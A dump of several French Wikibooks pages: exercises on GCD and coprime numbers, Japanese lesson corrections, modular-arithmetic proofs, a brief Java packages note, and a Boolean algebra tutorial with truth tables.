<td>11</td> <td>12</td> <td>17</td> <td>2</td> <td>7</td> <td>8</td> <td>3</td> <td>15</td> <td>14</td> <td>6</td> <td>9</td> <td>18</td> <td>mod 19</td> </tr> </table> ===Exercices sur les nombres premiers entre eux et PGDC=== 1. :1. ::<table border="1" cellpadding="2"> <tr> <th>Plus petit</th> <th>Plus grand</th> </tr> <tr> <td>5050</td> <td>5051</td> </tr> <tr> <td>1</td> <td>5050</td> </tr> <tr> <td>0</td> <td>'''1'''</td> </tr> </table> ::5050 et 5051 sont premiers entre eux :2. ::<table border="1" cellpadding="2"> <tr> <th>Plus petit</th> <th>Plus grand</th> </tr> <tr> <td>59</td> <td>78</td> </tr> <tr> <td>19</td> <td>59</td> </tr> <tr> <td>2</td> <td>19</td> </tr> <tr> <td>1</td> <td>2</td> </tr> <tr> <td>0</td> <td>'''1'''</td> </tr> </table> ::59 et 79 sont premiers entre eux :3. ::<table border="1" cellpadding="2"> <tr> <th>Plus petit</th> <th>Plus grand</th> </tr> <tr> <td>111</td> <td>369</td> </tr> <tr> <td>36</td> <td>111</td> </tr> <tr> <td>3</td> <td>36</td> </tr> <tr> <td>0</td> <td>'''3'''</td> </tr> </table> ::111 et 369 ne sont pas premiers entre eux :4. ::<table border="1" cellpadding="2"> <tr> <th>Plus petit</th> <th>Plus grand</th> </tr> <tr> <td>2021</td> <td>4032</td> </tr> <tr> <td>2011</td> <td>2021</td> </tr> <tr> <td>10</td> <td>2011</td> </tr> <tr> <td>1</td> <td>10</td> </tr> <tr> <td>0</td> <td>'''1'''</td> </tr> </table> ::2021 et 4032 sont premiers entre eux 2.Nous calculerons d'abord le PGDC pour toutes les combinaisons <table border="1" cellpadding="2"> <tr> <th>Plus petit</th> <th>Plus grand</th> </tr> <tr> <td>15</td> <td>510</td> </tr> <tr> <td>0</td> <td>'''15'''</td> </tr> </table> <table border="1" cellpadding="2"> <tr> <th>Plus petit</th> <th>Plus grand</th> </tr> <tr> <td>15</td> <td>375</td> </tr> <tr> <td>0</td> <td>'''15'''</td> </tr> </table> <table border="1" cellpadding="2"> <tr> <th>Plus petit</th> <th>Plus grand</th> </tr> <tr> <td>375</td> <td>510</td> </tr> <tr> <td>135</td> <td>375</td> </tr> <tr> <td>105</td> <td>135</td> </tr> <tr> <td>30</td> <td>105</td> </tr> <tr> <td>15</td> <td>30</td> </tr> <tr> <td>0</td> <td>'''15'''</td> </tr> </table> :Le PGDC pour toute combinaison des nombres est 15 donc le PGDC est 15 pour les trois nombres. Japonais:Leçon1:Correction 3705 38730 2006-03-24T19:18:55Z 82.224.197.180 /* Exercice n° 2 */ Retour à la [[Table des matières (Japonais)|table des matières]]. [[Japonais:Leçon1|Aller à la leçon 1]] ==Exercice n° 1== ===Enoncé=== Je vous propose d'essayer avec Wakarimasu (je comprends). Complétez les cases vides : {|{{prettytable}} |+ '''Les Formes en Japonais''' |-bgcolor="#CCCCCC" !français !japonais |- |je comprends | |-bgcolor="#EFEFEF" | |Wakarimasen |- |j'ai compris | |-bgcolor="#EFEFEF" | |Wakarimasen deshita |} ===Correction=== {|{{prettytable}} |+ '''Les Formes en Japonais''' |-bgcolor="#CCCCCC" !français !japonais |- |je comprends |Wakarimasu |-bgcolor="#EFEFEF" |Je ne comprends pas |Wakarimasen |- |j'ai compris |Wakarimashita |-bgcolor="#EFEFEF" |Je n' ai pas compris |Wakarimasen deshita |} ==Exercice n° 2== Traduire en français : *nihongo ga wakarimasen: je ne comprend pas le japonais. *sumimasen, furansugo ga wakarimasu ka: excusez moi, comprenez vous le français ? *anata wa nihonjin desu ka: est-tu japonais ? *watashi wa eigo ga wakarimasu: je comprend l'anglais. Traduire en japonais : *excusez moi: sumimasen *je suis français/belge/canadien: watashi wa furansujin/berugijin/kanadajin desu *je comprend le français: watashi wa furansugo ga wakarimasu *je comprend l'anglais: watashi wa eigo ga wakarimasu *je comprend un peu le japonais: watashi wa nihongo ga sukoshi wakarimasu {{Méthode_de_Japonais}} [[Catégorie:Exercices (Japonais)]] AL PS Premiers 3708 15195 2005-05-24T17:01:57Z Jim2k 289 [[Approfondissements de lycée]] ===Question 1=== Montrer que le théorème "divisible par 3" marche pour tout nombre à 3 chiffres (Astuce : Exprimer un nombre à 3 chiffre sous la forme 100a + 10b + c, où 0 &le; a, b et c &le; 9) ====Solution 1==== Tout nombre entier à 3 chiffre ''x'' peut être exprimé comme suit :x = 100a + 10b + c où a, b et c sont des entiers positifs compris entre 0 et 9. Maintenant, :<math> x \equiv 100a + 10b + c \equiv a + b + c \pmod{3} </math> :<math> x \equiv 0 \pmod{3} </math> si et seulement si a + b + c = 3k pour un certain k. Mais a, b et c sont les chiffres de x. ===Question 2=== "Un nombre est divisible par 9 si et seulement si la somme est divisible par 9." Vrai ou faux ? Déterminer si 89, 558, 51858, et 41857 sont divisibles par 9. Vérifier vos réponses. ====Solution 2==== Le résultat est vrai et peut être démontré comme dans la question 1. ===Question 3=== Existe-t'il une règle pour déterminer si un nombre à 3 chiffres est divisible par 11 ? Si oui, déterminer cette règle. ====Solution 3==== Comme précédement :x = 100a + 10b + c Maintenant :<math>x \equiv a + 10b + c \equiv a - b + c \pmod{11}</math> Un nombre à trois chiffres est divisible par 11 si et seulement si la somme de son premier et dernier chiffre moins le second est divisible par 11. ===Question 4=== :<math> \begin{matrix} X & 2 & 3 & X & 5 &X &7& X& X& X \\ 11 & X & 13 & X& X& X&17 &X& 19& X\\ X& X& 23 & X& X &X&X&X&29& X\\ 31 &X& X& X& X &X&37& X& X& X\\ 41 & X& 43 & X& X&X&47& X& 49& X\\ \end{matrix} </math> Le crible premier a été appliqué à la table ci-dessus. Noter que chaque nombre situé directement sous 2 et 5 sont rayés. Construire une grille rectangulaire de nombre allant de 1 à 60 après que le crible premier ait été exécuté sur elle, tous les nombres situés directement sous 3 et 5 sont rayés. Quelle est la largeur de la grille ? ====Solution 4==== La largeur de la grille est 15 ou un multiple de celui-ci. ===Question 5=== Montrer que ''p'', ''p + 2'' et ''p + 4'' ne peuvent pas être tous des nombres premiers. (''p'' un nombre entier positif) ====Solution 5==== Plaçons-nous en arithmétique mod 3, alors p peut être mis dans une des trois catégories :1ère catégorie ::<math>p \equiv 0 \pmod{3}</math> ::p n'est pas premier :2ème catégorie ::<math>p \equiv 1 \pmod{3}</math> ::<math>p + 2\equiv 0 \pmod{3}</math> ::p + 2 n'est pas premier :3ème catégorie ::<math>p \equiv 2 \pmod{3}</math> ::<math>p + 4\equiv 0 \pmod{3}</math> ::p + 4 n'est pas premier Par conséquent p, p + 2 et p + 4 ne peuvent pas être tous premiers. ===Question 6=== Montrer que n - 1 a lui-même comme inverse modulo ''n''. ====Solution 6==== :(n - 1)<sup>2</sup> = n<sup>2</sup> - 2n + 1 = 1 (mod n) Alternativement :(n - 1)<sup>2</sup> = (-1)<sup>2</sup> = 1 (mod n) ===Question 7=== Montrer que 10 n'a pas d'inverse modulo 15. ====Solution 7==== Supposons que 10 possède un inverse ''x'' mod 15, :10x = 1 (mod 15) :2 x 5x = 1 (mod 15) :5x = 8 (mod 15) :5x = 8 + 15k pour un certain entier k :x = 1,6 + 3k mais maintenant, ''x'' n'est pas un entier, par conséquent 10 n'a pas d'inverse ===Question 8=== Trouver x :<math> \begin{matrix} x \equiv 3^7 + 1^7 + 2^7 + + 4^7 + 5^7 + 6^7 + 7^7 \ \pmod{7}\\ \end{matrix} </math> ====Solution 8==== Notons que :<math>-a \equiv 7-a \pmod 7</math>. Alors :<math>1^7 \equiv (7-6)^7 \equiv (-6)^7 \equiv -(6^7) \pmod 7</math>. De même, :<math>2^7 \equiv -5^7 \pmod 7</math> et :<math>3^7 \equiv -4^7 \pmod 7</math>. Alors :<math> \begin{matrix} x &\equiv& 1^7 + 2^7 + 3^7 + 4^7 + 5^7 + 6^7 + 7^7 &\\ &\equiv& 1^7 + 2^7 + 3^7 - 3^7 - 2^7 -1^7 + 7^7 &\\ &\equiv& 0 &\pmod{7} \\ \end{matrix} </math> === Question 9 === 9. Montrer qu'il n'existe pas d'entier x et y tels que :<math> x^2 - 5y^2 = 3 </math> ==== Solution 9 ==== Regardons l'équation mod 5, nous avons :<math>x^2 = 3 \pmod{ 5}</math> mais :<math>\begin{matrix} 1^2 = 1\\ 2^2 = 4\\ 3^2 = 9 = 4\\ 4^2 = 16 = 1 \end{matrix} </math> Par conséquent, il n'existe pas de x tel que :<math>x^2 = 3 \pmod{ 5}</math> === Question 10 === Soit ''p'' un nombre premier. Montrer que '''(a)''' :<math> (p-1)! \equiv -1\ \mbox{(mod p)} </math> où :<math> n! = 1 \cdot 2 \cdot 3 \cdots (n-1) \cdot n </math> C.a.d. 3! = 1*2*3 = 6 '''(b)''' Maintenant, montrer que :<math>\sqrt{-1} \equiv \frac{p - 1}{2}! \pmod{p}</math> pour ''p'' &equiv; 1 (mod 4) ==== Solution 10 ==== '''a)''' Si p = 2, alors c'est évident. Donc, nous supposons que p est un nombre premier impair. Puisque p est premier, cela implique que chaque élément distinct possède un inverse et que l'inverse de (p - 1) est (p - 1). Puisque :(p - 1)! = (p - 1) [(p - 2)(p - 3)... 2] vous pouvez apparier les inverses et les multiplier pour donner 1, et (p - 1) possède comme inverse lui-même, par conséquent, c'est le seul élément non-"éliminé" :(p - 1)! = (p - 1) :(p - 1)! = - 1 est requis. '''b)''' A partir de a) :-1 = (p - 1)! puique p = 4k + 1 pour un certain entier positif k, (p - 1)! possède 4k termes :-1 = 1 x 2 x 3 x... 2k x (-2k) x(- 3) x (- 2) x (- 1) il existe un nombre pair de nombres négatifs pour le coté droit, donc :-1 = (1 x 2 x 3 x...2k)<sup>2</sup> il s'ensuit :<math>\sqrt{-1} = 1\times 2\times 3\times ... 2k</math> et finalement, nous notons que p = 4k + 1, nous pouvons conclure :<math>\sqrt{-1} = \frac{p - 1}{2}!</math> AL 3711 15196 2005-05-24T21:46:07Z Weft 169 #REDIRECT [[Approfondissements de lycée]] #REDIRECT [[Approfondissements de lycée]] Modèle:Joli tableau 3712 27637 2005-12-26T10:05:30Z Greudin 1 [[Modèle:Prettytable]] déplacé vers [[Modèle:Joli tableau]] border="2" cellpadding="4" cellspacing="0" style="margin-left:0.7em;margin-top:0.7em;margin-bottom:0.7em;margin-right:0em;background: #f9f9f9;border: 1px #aaa solid; border-collapse: collapse; font-size: 95%;" Programmation Java Packages 3713 33828 2006-02-21T15:47:04Z Merrheim 1032 {{Programmation Java}} Les ''packages'' permettent de grouper ensemble des classes rattachées, à la manière des dossiers qui permettent de classer des fichiers. == Utilisation == Le fichier à inclure dans un ''package'' doit contenir le mot-clé 'package' suivi du nom du package. Exemple: pour inclure la classe Toto dans le ''package'' 'mesPackages.sousPackage1', écrire au début du fichier Toto.java: ''package mesPackages.sousPackage1'' Lorsqu'ensuite on désire utiliser la classe Toto depuis une autre classe, il faudra au préalable écrire: ''import mesPackages.sousPackage1.Toto'' ou ''import mesPackages.sousPackage1.*'' (importation de toutes les classes du ''package'' ''mesPackage.sousPackage1''). == Remarques == En ''Java'', les programmeurs attribuent généralement un nom qui commence par une minuscule pour un ''package'' et un nom qui commence par une majuscule, pour une classe. AL Logique 3714 39269 2006-03-30T13:14:30Z Outs 1307 /* Théorèmes de De Morgan */ [[Approfondissements de lycée]] ==Introduction== La logique est l'étude de la manière dont nous, humains, raisonnons. Dans ce chapitre, nous nous focaliserons sur les ''méthodes'' du raisonnement logique, c.a.d. la logique digitale, le calcul de prédicats, l'application au démonstrations et les puzzles logiques amusants. ==Algèbre booléenne== Dans le monde noir et blanc des idéaux, il existe la vérité absolue. C'est à dire ''tout'' est soit '''vrai''' ou '''faux'''. Avec cet arrière-plan philosophique, nous pouvons considérer les exemples suivants : <br> :"Un plus un égale deux." Vrai ou faux ? C'est (sans aucun doute) vrai ! :"1 + 1 = 2 ET 2 + 2 = 4." Vrai ou faux ? C'est vrai également. Mais qu'en est-il de : :"1 + 1 = 3 OU Sydney est en Australie" Vrai ou faux ? C'est vrai ! Bien que 1 + 1 = 3 ne soit pas vrai, le OU dans l'énoncé fait que si une des partie de l'énoncé est vraie alors l'énoncé entier est vrai. Maintenant, considérons un exemple un peu plus assemblé :"2 + 2 = 4 OU 1 + 1 = 3 ET 1 - 3 = -1" Vrai ou faux ? La vérité ou la fausseté des énoncés dépendent de l'''ordre'' dans lequel vous évaluez l'énoncé. Si vous évaluez "2 + 2 = 4 OU 1 + 1 = 3" d'abord, l'énoncé est faux, et autrement vrai. Comme dans l'algèbre ordinaire, il est nécessaire que nous définissions certaines règles pour gouverner l'ordre de l'évaluation, ainsi il n'y aura pas d'ambigüité. Avant de décider dans quel ordre nous évalons les énoncés, nous allons faire ce que la plupart des mathématiciens aiment faire -- remplacer les phrases par des symboles.<br> Soit ''x'' représente la véracité ou la fausseté de l'énoncé 2 + 2 = 4.<br> Soit ''y'' représente la véracité ou la fausseté de l'énoncé 1 + 1 = 3.<br> Soit ''z'' représente la véracité ou la fausseté de l'énoncé 1 - 3 = -1.<br> Ainsi, l'exemple ci-dessus peut être réécrit d'une manière plus compacte :<br> :x OU y ET z Pour aller une étape plus loin, les mathématiciens remplacent aussi OU par + et ET par x, les énoncés deviennent : :<math>x + y \times z</math> Maintenant l'ordre de préférence est clair. Nous évaluons yz (y ET z) d'abord, puis OU avec x. L'énoncé "x + yz" est vrai, ou symboliquement : x + yz = 1 où le nombre 1 représente "vrai". Il existe une bonne raison de choisir le signe multiplicatif pour l'opération ET. Comme nous le verrons plus tard, nous pouvons faire certains parallèles entre la multiplication et l'opération ET. L'algèbre booléenne, que nous sommes en train d'étudier à été nommée ainsi en l'honneur du mathématicien britannique George Boole. L'algèbre booléenne traite de deux choses -- le "vrai" ou le "faux" qui sont souvent représentés par les nombres 1 et 0 respectivement. Quelque fois, on peut rencontrer aussi V et F. L'algèbre booléenne possède les opérations (ET et OU) analogues à l'algèbre ordinaire que nous connaissons et que nous aimons. ===Tables de vérité de base=== Nous avons tous eu à mémoriser la table de multiplication et maintenant, nous la connaissons par coeur. En algèbre booléenne, l'idée de table de vérité à quelque chose de similaire. Considérons l'opération ET qui est analogue à la multiplication. Nous voulons considérer : :x ET y où et ''x'' et ''y'' représentent chacun un énoncé vrai ou faux (par exemple : il est en train de pleuvoir aujourd'hui). Il est vrai si et seulement si ''x'' et ''y'' tous les deux sont vrais, dans la table : <table border="1" cellpadding="3"> <tr><th colspan="3">La fonction ET</th></tr> <tr> <th>x</th> <th>y</th> <th>x ET y</th> </tr> <tr> <td>F</td> <td>F</td> <td><center>F</center></td> </tr> <tr> <td>F</td> <td>V</td> <td><center>F</center></td> </tr> <tr> <td>V</td> <td>F</td> <td><center>F</center></td> </tr> <tr> <td>V</td> <td>V</td> <td><center>V</center></td> </tr> </table> Nous utiliserons 1 à la place de V et 0 à la place de F à partir de maintenant. <table border="1" cellpadding="3"> <tr><th colspan="3">La fonction ET</th></tr> <tr> <th>x</th> <th>y</th> <th>x ET y</th> </tr> <tr> <td>0</td> <td>0</td> <td><center>0</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>0</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>0</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>1</center></td> </tr> </table> Maintenant, nous devrions être capable de voir pourquoi nous disons que ET est analogue à la multiplication, nous remplacerons le ET par x, ainsi '''x ET y''' devient '''x x y''' (ou simplement ''xy''). A partir de la table de vérité, nous avons : :0 x 0 = 0 :0 x 1 = 0 :1 x 0 = 0 :1 x 1 = 1 Pour l'opération OU. ''' ''x'' OU ''y'' ''' est FAUX si et seulement si ''x'' et ''y'' sont tous les deux faux. Dans la table : <table border="1" cellpadding="3"> <tr><th colspan="3">La fonction OU</th></tr> <tr> <th>x</th> <th>y</th> <th>x OU y</th> </tr> <tr> <td>0</td> <td>0</td> <td><center>0</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>1</center></td> </tr> </table> L'opération OU est presque analogue à l'addition. Nous illustrerons ceci en remplaçant OU par + : :0 + 0 = 0 :0 + 1 = 1 :1 + 0 = 1 :1 + 1 = 1 (comme 1 OU 1 est 1) L'opération NON n'est pas une ''opération binaire'', à la différence de ET et OU. '''NON ''x'' ''' est vrai si ''x'' est faux et ''faux'' si ''x'' est vrai. Dans la table : <table border="1" cellpadding="3"> <tr><th colspan="3">La fonction NON</th></tr> <tr> <th>''x''</th> <th>NON ''x''</th> </tr> <tr> <td>0</td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td><center>0</center></td> </tr> </table> En notation symbolique, '''NON''' x est noté x' (ou par une barre sur le sommet du x). '''Notations alternatives :''' :<math>x \times y = x \wedge y</math> et :<math>x + y = x \vee y</math> ===Composition des tables de vérité=== Les trois tables de vérité présentées ci-dessus sont les tables de vérité les plus basiques et servent comme blocs pour contruire les tables plus compliquées. Supposons que nous voulions une table de vérité pour xy + z (i.e. x ET y OU z). Notons que cette table impliqu trois variables (x, y et z), donc nous voulons l'exprimer dans une plus grande que celles précédentes. Pour construire une table de vérité, d'abord nous écrivons toutes les combinaisons possibles des trois variables : <table border="0" cellpadding="3"> <tr> <th>x</th> <th>y</th> <th>z</th> </tr> <tr> <td>0</td> <td>0</td> <td><center>0</center></td> </tr> <tr> <td>0</td> <td>0</td> <td><center>1</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>0</center></td> </tr> <tr> <td>0</td> <td>1</td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>0</center></td> </tr> <tr> <td>1</td> <td>0</td> <td><center>1</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>0</center></td> </tr> <tr> <td>1</td> <td>1</td> <td><center>1</center></td> </tr> </table> Ceci est un motif de manière d'écriture des combinaisons. Nous commençons toujours avec 000 et nous finissons avec 111. Puis nous completons la table par calcul à la main, pour obtenir la valeur de chaque combinaison donnée par l'expression xy + z. Par exemple : :000<br> :x = 0, y = 0 et z = 0<br> :xy + z = 0 :001<br> :x = 0, y = 0 et z = 1<br> :xy + z = 1 Nous continuons de cette manière jusqu'à ce que la table entière soit remplie. <table border="1" cellspacing="1" width="220" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> y</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> z</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> xy OU z</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="70" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> </table> La procédure que nous suivons pour produire les tables de vérité est maintenant claire. Voici quelques exemples supplémentaires de tables de vérité. ====Exemple 1 -- x + y + z==== <table border="1" cellspacing="1" width="235" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#FFFFFF"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> y</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> z</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x + y + z</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 1</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> </table> ====Exemple 2 -- (x + yz)'==== Lorsqu'une expression est difficile à calculer, nous pouvons d'abord calculer les résultats intermédiaires, puis le résultat final. <table border="1" cellspacing="1" width="300" id="AutoNumber1" bordercolorlight="#FFFFFF" bordercolordark="#000000" style="border-width: 0"> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> y</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> z</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: solid; border-right-width: 1; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> x + yz</td> <td width="85" style="border-right-style: none; border-right-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: solid; border-bottom-width: 1" align="center"> (x + yz)'</td> </tr> <tr> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="50" style="border-left-style: none; border-left-width: medium; border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-left-style: solid; border-left-width: 1; border-right-style: solid; border-right-width: 1; border-bottom-style: none; border-bottom-width: medium" align="center"> 0</td> <td width="85" style="border-right-style: none; border-right-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> </tr> <tr> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="50" style="border-style: none; border-width: medium" align="center"> 0</td> <td width="49" style="border-left-style: none; border-left-width: medium; border-top-style: none; border-top-width: medium; border-bottom-style: none; border-bottom-width: medium" align="center"> 1</td> <td width="85" style="border-left-style: solid; 